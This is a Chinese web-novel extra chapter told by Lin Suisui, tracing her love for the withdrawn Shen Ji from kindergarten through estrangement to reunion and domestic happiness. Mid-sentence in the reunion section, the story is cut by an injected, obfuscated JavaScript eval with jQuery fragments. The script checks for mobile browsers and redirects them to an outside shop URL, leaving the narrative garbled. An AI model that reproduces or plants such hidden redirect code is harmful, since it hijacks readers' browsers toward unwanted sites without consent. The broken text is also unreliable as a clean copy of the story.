番外：林岁岁视角
一、幼儿园
我妈说我小时候是个社牛。
她说我带她去菜市场买菜，我都能跟卖菜的大叔聊上十分钟，从“这个西红柿多少钱一斤”聊到“我昨天晚上做梦梦到一只会飞的猪”。她说我这种性格将来肯定不会吃亏，走到哪里都吃得开。
但她不知道，我所有的社交技能，在一个人面前全部失灵。
那个人叫沈寂。
我第一次注意到她，是在幼儿园的教室里。所有人都闹成一团，只有她缩在角落里，把脸埋在膝盖里，像一只把自己藏进壳里的小乌龟。不知道为什么，我看着她，心里涌起一种很奇怪的感觉——我想把她从那个壳里拉出来。
我走过去，跟她说话。她不理我。我又说，她还是不理我。
换作别的小朋友，我可能早就没耐心了。但对她，我出奇地有耐心。我也不知道为什么。
后来我发现了——她不是不想理我，她只是需要时间。
需要时间相信我，需要时间接纳我，需要时间让我走进她的世界。
我等了。等了很多年。
但事实证明，所有的等待都是值得的。
二、小学
我发现沈寂有很多奇怪的习惯。
她吃饭的时候，食物不能混在一起，米饭和菜必须分开放。她走路的时候，一定要踩地砖的中心，不能踩到缝隙。她不喜欢被人碰，尤其是猝不及防的触碰。她不喜欢太吵的地方，不喜欢太亮的光线，不喜欢太浓的气味。
大人们觉得她“有问题”。小朋友们觉得她“古怪”。但我觉得，这些都只是她的一部分，就像我喜欢吃芒果慕斯、喜欢跑步、喜欢笑一样自然的一部分。
有一天，我问她：“沈寂，你知不知道你有很多奇怪的习惯？”
她没有回答我，但她停下了手里的动作，看着我，好像在等我说下去。
我笑了，接着说：“没关系。你的古怪我都喜欢。”
她愣了一下，然后低下头，继续做她手里的事。
但我看到她的耳朵尖红了。
那一刻，我心里有一种小小的得意——我知道了一个别人不知道的秘密：沈寂的耳朵尖会红。只有我能看到。
三、初中
初中是我最难受的几年。
不是沈寂对我不好了，是我自己出了问题。
我开始变得焦虑，变得敏感，变得患得患失。我总是觉得沈寂不在乎我了，总是觉得她在离我越来越远。我拼命想抓住她，但越抓，她好像就跑得越快。
现在回想起来，我那时候真的太不懂事了。
我不懂她需要空间，不懂她的沉默不是冷落而是保护，不懂她已经在用自己的方式努力爱我。我只知道我想要什么，却从来没有问过她想要什么。
那天在奶茶店，我对她说了很重的话。
说完我就后悔了。但我太好面子了，拉不下脸来道歉。我拉黑了她，以为这样就能让自己好受一点。但事实是，拉黑她的那一刻，我比自己想象的更难受。
后来我无数次想过——如果那天我没有说那些话，如果我没有拉黑她，如果我们好好地坐下来谈一谈，结果会不会不一样？
但人生没有如果。
有些弯路，必须要走。有些代价，必须要付。
四、高中
高考前那段时间，是我人生中最灰暗的日子。
我的成绩一落千丈，焦虑症发作得越来越频繁。我整夜整夜地失眠，白天上课完全听不进去。我感觉自己像一艘漏水的船，正在一点一点地下沉。
沈寂不在我身边。是我把她推开的。
我一个人扛着那些情绪，扛得很辛苦。有好几次，我站在学校天台上，往下看。不是想跳，只是想感受一下那种“如果我消失了，世界会怎样”的感觉。
但每次我都会想到沈寂。
想到她一个人坐在教室角落里的样子，想到她被我拉黑后发来的那条长长的消息，想到她在我哭的时候安静地陪在我身边的那些夜晚。
我舍不得。
舍不得让她一个人留在这个世界上。
高考结束后，我填了一所很远的大学。我想离开这座城市，离开那些回忆，离开那个让我又爱又痛的名字。
我以为距离能治愈一切。
但我错了。
距离治愈不了思念。它只会让思念发酵，变得越来越浓烈。
五、分离的七年
大学四年，我试着谈过恋爱。
对方是个很好的男生，温和、体贴、会说话。和他在一起的时候，气氛总是很轻松，不用担心冷场，不用费尽心思去猜他在想什么。
但我不爱他。
我试着爱过他。我告诉自己，这才是正常的恋爱——两个人有说有笑，不用猜来猜去，不用面对那些沉重的沉默。我努力了半年，最后还是分手了。
分手的时候，那个男生问我：“你是不是心里有别人？”
我没有回答。但我沉默的那一刻，我们两个都知道了答案。
我心里确实有别人。一个不会说甜言蜜语的人，一个不懂得浪漫的人，一个让我等了又等、累了又累的人。
但那个人，就是谁也替代不了。
六、重逢
在书店门口看到沈寂的那一刻，我以为自己产生了幻觉。
她站在那里，穿着灰色风衣，围着深蓝色围巾，还是那副安安静静的样子。她看到我的时候，整个人像被按了暂停键，手里的书差点滑落。
我们隔着一条马路对视。
那一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892595|212782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻，我脑子里闪过很多念头——她怎么会在这里？她变了好多。她好像瘦了。她有没有想过我？她还怪我吗？
然后绿灯亮了，我的脚不受控制地朝她走过去。
“好久不见。”我说。
“……好久不见。”她说。
简单的四个字，我却觉得像是跨越了万水千山。
后来她请我吃了一碗面。后来我们加了微信。后来她开始约我见面。后来她在我公司楼下递给我一杯热可可。
后来她告诉我，她喜欢我。
从幼儿园开始，到现在，从来没有变过。
我等了十三年，终于等到了这句话。
七、现在
今天是周六，阳光很好。
沈寂在厨房里做午饭，橘猫趴在我腿上打呼噜。我窝在沙发里，手里拿着一本书，但一个字都没看进去。我在看沈寂。
她切菜的姿势很认真，每一刀都切得很均匀。她做事总是这样，不紧不慢，不慌不忙，像一条平静流淌的河。
我放下书，轻手轻脚地走到她身后，抱住她。
她顿了一下，然后继续切菜：“怎么了？”
“没怎么。”我把脸贴在她后背上，“就是想抱抱你。”
她没有说话，但我感觉到她的身体微微往后靠了靠，更贴近了我一些。
我闭上眼睛，感受着她的体温和心跳。
我想起幼儿园那个蜷缩在角落里的小女孩，想起小学那个耳朵会红的小沈寂，想起初中那个越来越沉默的少女，想起高中那个让我又爱又痛的背影。
我想起那七年的分离，想起那些辗转反侧的夜晚，想起那些写满了又删掉的消息。
所有的等待，所有的痛苦，所有的曲折——在抱住她的这一刻，都变得值得了。
“沈寂。”我闷闷地叫了一声。
“嗯？”
“我们以后养一只猫吧。”
她停下切菜的动作，转过头看着我：“家里已经有一只了。”
“再养一只嘛。给它取名叫‘小安’。”
“为什么叫小安？”
我笑了，把脸埋在她的后背上，声音有些模糊：“因为岁岁平安啊。你平安，我平安，我们在一起，就是最大的平安。”
沈寂沉默了几秒，然后我听到她的声音，很轻很轻：
“……好。”
我抱紧她，笑了。
窗外的阳光洒进来，落在我们身上，暖洋洋的。
我想，这就是我想要的幸福了。
不需要轰轰烈烈，不需要惊天动地。
只需要一个普通的周末，一顿普通的午饭，一个我爱的人，和一份安定的、笃定的、不会再失去的爱情。
岁岁平安。
岁岁年年，都要平安。